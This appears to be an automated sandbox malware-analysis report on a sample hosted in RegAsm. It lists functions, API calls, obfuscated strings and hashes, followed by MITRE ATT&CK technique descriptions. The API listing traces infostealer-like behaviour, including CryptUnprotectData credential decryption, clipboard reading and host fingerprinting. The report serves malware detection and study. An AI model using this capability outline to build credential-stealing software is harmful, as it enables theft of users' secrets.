Instruction ID: bb7fd6e985126494af5336d1c3bc17315decfa5e51e2b0400c998cc611c3e7a9
Opcode Fuzzy Hash: 804f35b266dbb574133b141487b1538aa80bbd43e783cd2564efea3336da4334
Instruction Fuzzy Hash: 4A32AF702087928FE725CF28D490762FBF1BF16304F58459ED4DA8B792D339A846CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00426948 Relevance: 3.7, APIs: 2, Instructions: 676COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,?), ref: 004274A2
GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0042759F

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 6466feb4505024e0828d3ca0b95d0f9fe761e44a00bca8f7b4301ed6184b3e14
Instruction ID: f548616978202c524340049508e7f213d6bda89abe4b01e1c1339fbbd1821ec8
Opcode Fuzzy Hash: 6466feb4505024e0828d3ca0b95d0f9fe761e44a00bca8f7b4301ed6184b3e14
Instruction Fuzzy Hash: 00329F702087528FE725CF28D490B62FBF1BF5A304F18469DD4DA8B792D339A846CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0043B550 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043E58C,005C003F,00000006,00120089,?,00000018,7452,00000000,004156BE), ref: 0043B576

Strings

7452, xrefs: 0043B564

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: 7452
API String ID: 2994545307-87867774
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Uniqueness

Uniqueness Score: -1.00%

Function 00428410 Relevance: 1.9, APIs: 1, Instructions: 387COMMON

Download Yara Rule

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 0042852B

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID:
API String ID: 3960555810-0
Opcode ID: 5d9e9b438f00a267178fd5037ff845645c216cdafcefacf4d2f29aaea793b2de
Instruction ID: 07dadd28a917c87803f837ba8b534b0912da124911bfb1aa40d57cbc6f9ab5ae
Opcode Fuzzy Hash: 5d9e9b438f00a267178fd5037ff845645c216cdafcefacf4d2f29aaea793b2de
Instruction Fuzzy Hash: 69C1E5702057518BD725CF29D060726FBF1BF9A304F68869DC4DA8B786DB39E806CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00416682 Relevance: 1.6, APIs: 1, Instructions: 124encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 004392D0: RtlAllocateHeap.NTDLL(?,00000000,00409DBE), ref: 00439367

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0041698E

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateCryptDataHeapUnprotect
String ID:
API String ID: 1063247315-0
Opcode ID: 66c1b707c6aa9a0411d3f0a12a0c21e55d2c955556611dfe43f30d8406654139
Instruction ID: 039af2fc9cb4c169f6bc8fe2a1c153d9d07f268f4bbbd2e8ed916e7c84c7fe5c
Opcode Fuzzy Hash: 66c1b707c6aa9a0411d3f0a12a0c21e55d2c955556611dfe43f30d8406654139
Instruction Fuzzy Hash: FE41D6B5508341CFD724CF28C491B9BB7E1AFD5304F18896EE4A987352D638D84ACB56

Uniqueness

Uniqueness Score: -1.00%

Function 00430169 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c72369126cff0e2aa555d42f53c57bb13bd3e792f4119b6a06ca1884301cebf0
Instruction ID: 534c9b2ec845aa1e86e2864cf96deafb1b91f085cce45749ec54a1ec3c8a0150
Opcode Fuzzy Hash: c72369126cff0e2aa555d42f53c57bb13bd3e792f4119b6a06ca1884301cebf0
Instruction Fuzzy Hash: BAF039B8104701CFD320DF28C484B1BBBE4FB49344F40881DE99A8B354CBB4AA40CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0041E0C0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041E1AD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041E1D8

Strings

~H, xrefs: 0041E373
3]!_, xrefs: 0041E0D7
1mo, xrefs: 0041E0F7
iWk, xrefs: 0041E0FF
je, xrefs: 0041E10B
=Y,[, xrefs: 0041E0DF

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: iWk$1mo$3]!_$=Y,[$je$~H
API String ID: 237503144-1999540153
Opcode ID: 2680b6665d4764b42100269f461c71080ad2627966abee742ef6fed1943d2de2
Instruction ID: 39b11f33bb14334007ed1353e805041977c84587be0fa6475d6e8676d698132c
Opcode Fuzzy Hash: 2680b6665d4764b42100269f461c71080ad2627966abee742ef6fed1943d2de2
Instruction Fuzzy Hash: 0161AA752083518FE324CF15C8A1BABB7E1EF8A708F044A1DE8E55B281D3B89945CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0041EAD0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0041EC1D
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0041EC4C

Strings

)qs, xrefs: 0041EB4F
JW, xrefs: 0041ECEC, 0041ECF0
ru, xrefs: 0041EB5B
aZ, xrefs: 0041EC5A
TF, xrefs: 0041EC6A

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: )qs$JW$TF$aZ$ru
API String ID: 237503144-2698335981
Opcode ID: be1774074dc17c2b4a0ba5d5494aeafe98b1835ca79f435291a2448782d5417c
Instruction ID: 03051454b74d4003968060d2d42400c185a6ba78efbccd90e9d01649d30d6933
Opcode Fuzzy Hash: be1774074dc17c2b4a0ba5d5494aeafe98b1835ca79f435291a2448782d5417c
Instruction Fuzzy Hash: 225162B5208342AFD314CF01C894B5BBBE1EBC6354F10892DF8A55B390E738D94ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 00415BC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00415BFD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00415C2E

Strings

4U+W, xrefs: 00415C4C

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 4U+W
API String ID: 237503144-3070584207
Opcode ID: 1df84995eb40340e8ec846035962dadfd76d3446cd8ca4a2419fa415fa3fe5c7
Instruction ID: ed523981dcb6c846914fc60588fa9cd78359472fb005d6a9ad21166a12392ff6
Opcode Fuzzy Hash: 1df84995eb40340e8ec846035962dadfd76d3446cd8ca4a2419fa415fa3fe5c7
Instruction Fuzzy Hash: 7451CE702083419BD724CF24D891BABB7B5FFC6354F04891DF99A8B381E778A845CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004091D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 0040923C

Strings

of system that leetspeak, reflection primarily the of other modified on glyphs resemblance is replacements similarity or eleet the ways used character a often spellings on play uses their via internet. or it in, xrefs: 004091FF

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: of system that leetspeak, reflection primarily the of other modified on glyphs resemblance is replacements similarity or eleet the ways used character a often spellings on play uses their via internet. or it in
API String ID: 621844428-2804141084
Opcode ID: d5cca5f178ed6c499484f9090daf3563c98c522081e7c93a8473633cb6b44859
Instruction ID: ef9a4640f3d76029ef3cd28d8c7b20320b2ac3189829f29e0b0174d0f585c7c8
Opcode Fuzzy Hash: d5cca5f178ed6c499484f9090daf3563c98c522081e7c93a8473633cb6b44859
Instruction Fuzzy Hash: A6F09674C18205B6D6103BB56B0A26E3B685F12344F010C7FFC8175183EA7D4D15966F

Uniqueness

Uniqueness Score: -1.00%

Function 0043AD26 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0043AE1E

Strings

&I, xrefs: 0043AD10

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: &I
API String ID: 1029625771-2530667579
Opcode ID: 03ab0146c6f110e73d86cca74854f14c52691ef98ac0ae3bb3a75499cc31dc52
Instruction ID: 8bf46805403616723667aa4a2cb618cf325339e40fb4dfab83fa5f0c07476e44
Opcode Fuzzy Hash: 03ab0146c6f110e73d86cca74854f14c52691ef98ac0ae3bb3a75499cc31dc52
Instruction Fuzzy Hash: C721D1B09193019FD708DF11EC5462EBBE2FBC9309F14982EE89607225E3349515CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0043AA87 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0043AAB7

Strings

$I, xrefs: 0043AAA0

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID: $I
API String ID: 1029625771-3960913755
Opcode ID: 9255aba700b7582338cbca9e68c71424d48ee2e632fc7f7279624a7bcfbdd635
Instruction ID: db8e7918e172825827c01dcd5c7fb17611e57cc1dd9633def376390a9af84618
Opcode Fuzzy Hash: 9255aba700b7582338cbca9e68c71424d48ee2e632fc7f7279624a7bcfbdd635
Instruction Fuzzy Hash: DCD05EBB1C25029FE744FB20AE51C273295FE8A280719953BC04382355EB38D423DBAF

Uniqueness

Uniqueness Score: -1.00%

Function 004185D0 Relevance: 3.1, APIs: 2, Instructions: 64COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 0041860A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00418638

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: d1d18a5d5fcd9550b48eb21a8f91ac5a0faa576a42820056fd331e98c56cc01f
Instruction ID: a7c267f0493bb453d4328cd908709cdeb89ae36806c0e8699da810c13a775427
Opcode Fuzzy Hash: d1d18a5d5fcd9550b48eb21a8f91ac5a0faa576a42820056fd331e98c56cc01f
Instruction Fuzzy Hash: EC01F536504604BBD610AB14CC86F77736CEB86728F588619F921C72C1EB74BD04C6FA

Uniqueness

Uniqueness Score: -1.00%

Function 0043B22D Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f713e1d65be1f8a23acecc3c0a0811e1ae28d5339950774fa045137fb205103e
Instruction ID: d5eac2ad64f1d9c2aad69cb09eb59c610886e570a559aa125f10f7578d74e5d1
Opcode Fuzzy Hash: f713e1d65be1f8a23acecc3c0a0811e1ae28d5339950774fa045137fb205103e
Instruction Fuzzy Hash: A8418DB09193019FD718DF11E85472FBBE2FBCA349F14992EE8A617251E7348518CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0043AC2D Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 0043ACDB

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: de9288b82a0e1c24465c050187a5e6e39458b072fe2c93c498e951e87166e5da
Instruction ID: c55b77e37f7197176c1b6e24f70985046c44e88e87a69efacbef3687f3900326
Opcode Fuzzy Hash: de9288b82a0e1c24465c050187a5e6e39458b072fe2c93c498e951e87166e5da
Instruction Fuzzy Hash: BA11E37424C3409BD708DF00D4A171BBBE2EFEA319F149A0DE4A907385D7399606CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0043B424 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0043B498

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7a60c54a2a0bacfb95885a4fce793f89768e3577d0edbf07c615bb644a751b49
Instruction ID: 843d7fd62c14df83992cb405de463a7b86960fe077edc05ee09dda5aa80e0c24
Opcode Fuzzy Hash: 7a60c54a2a0bacfb95885a4fce793f89768e3577d0edbf07c615bb644a751b49
Instruction Fuzzy Hash: B8119475A097808FC7128F28D8D0780BFB1EF1A30970905AAD5E5C7663C324B85ECB64

Uniqueness

Uniqueness Score: -1.00%

Function 004393AB Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000), ref: 00439456

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c5bae9c87fb37e14f9cfa556edb60907ea8c190926235be6b385dd13d9a48261
Instruction ID: 913027b61dc95214993bd2bef33208e1dcdceea67442d192d450229a2cf3c7d5
Opcode Fuzzy Hash: c5bae9c87fb37e14f9cfa556edb60907ea8c190926235be6b385dd13d9a48261
Instruction Fuzzy Hash: C71118706093019FD708CF04D4A476BBBA2FBD9329F248A5DE4A507681C779D906CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004392D0 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00409DBE), ref: 00439367

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c21ef27c82c1599a525ccddeeb4f3f6986c275307282e5c376303d393f987d55
Instruction ID: a2698bad51abde713349918e9bb4c1058c6d1bcc52dfc0b655d57e09c327a6f7
Opcode Fuzzy Hash: c21ef27c82c1599a525ccddeeb4f3f6986c275307282e5c376303d393f987d55
Instruction Fuzzy Hash: 5F1123705083019FD708CF14D860B6BBBA2FBC9329F248A1DE8A907691D7759A15CBC6

Uniqueness

Uniqueness Score: -1.00%

Function 0042B978 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0042B987

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 010599ace64afa0fd931332d4eff0e53072c5c377267fce42cf799148445ea3e
Instruction ID: 1012845b982b314312a11b76a9515d813b78d57e7130b6e5c59d80d9745d83a5
Opcode Fuzzy Hash: 010599ace64afa0fd931332d4eff0e53072c5c377267fce42cf799148445ea3e
Instruction Fuzzy Hash: 4101A2B4559342CFD364DF28C598B5ABBE1FB88308F11892DE98987390D774A948CF82

Uniqueness

Uniqueness Score: -1.00%

Function 00437581 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 004375B6

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: f75bdd7997d0d702300b3c81595aba1a0e148012e40e8d5f57b0db497b5941a0
Instruction ID: 25be8be8643b543278f2c9df8cfb857663b0fb7502629115cf4a59818b19cadd
Opcode Fuzzy Hash: f75bdd7997d0d702300b3c81595aba1a0e148012e40e8d5f57b0db497b5941a0
Instruction Fuzzy Hash: 50F065357C93C07FD71647307C62F413B648B43A44F1D04ABBA52E90D3D468752DD629

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00430520 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 0043059B
OpenClipboard.USER32 ref: 004305AF
GetClipboardData.USER32 ref: 004305CE
CloseClipboard.USER32 ref: 0043070F

Strings

;, xrefs: 0043064C
9, xrefs: 00430644
:, xrefs: 00430654
7, xrefs: 00430658
8, xrefs: 00430660

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: 7$8$9$:$;
API String ID: 2278096442-1017836374
Opcode ID: 042562e823fc24998125cc5bb4d4d05e72d82f571992b3f7019f57a304604d57
Instruction ID: cc50d103229a6a5400ae63f8ccf3d1ebe4fc1d34d1c814e7605de7f3cfd710c1
Opcode Fuzzy Hash: 042562e823fc24998125cc5bb4d4d05e72d82f571992b3f7019f57a304604d57
Instruction Fuzzy Hash: A471BFB4508740DFC321DF28C495726BBE0AF4A314F149B5AE8968B756C338E846DF6B

Uniqueness

Uniqueness Score: -1.00%

Function 00430F58 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00430FE4
GetSystemMetrics.USER32 ref: 00430FF5
DeleteObject.GDI32 ref: 00431054
SelectObject.GDI32 ref: 004310A5
SelectObject.GDI32 ref: 00431145
DeleteObject.GDI32 ref: 00431182

Strings

, xrefs: 00431118

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem
String ID:
API String ID: 3911056724-3916222277
Opcode ID: a5a42883c6a7052007b696ac13c6824caf2bf1d960b2fd5b81c52589d8d48e99
Instruction ID: 078b64a4054221a8f4ece22bdc7f99f4f2cd159220ebdc0681bb7c8f1abce6b1
Opcode Fuzzy Hash: a5a42883c6a7052007b696ac13c6824caf2bf1d960b2fd5b81c52589d8d48e99
Instruction Fuzzy Hash: CE919BB8904B009FD764EF29DA85B16BBF0FB4A300F50492DE99A8B760D731A845CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00437303 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 173COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000D,?,00000008,?), ref: 004373DE

Strings

HbD, xrefs: 00437425

Memory Dump Source

Source File: 00000001.00000002.1733205579.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: HbD
API String ID: 237503144-2813495750
Opcode ID: 80daee74cf1f8a8c4f64ed36e56172b1866fdf3375e2ebd1f8dd06d2f6920f19
Instruction ID: 41d28e73fb5ba7aa71ad924c4cbbb1757781dc30d8bd9ce711ff6f17377026f7
Opcode Fuzzy Hash: 80daee74cf1f8a8c4f64ed36e56172b1866fdf3375e2ebd1f8dd06d2f6920f19
Instruction Fuzzy Hash: 7A515CB55007019FD328CF29C545616BBF1FB49314F158A6DE8AA8B781D338E886CBD5

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
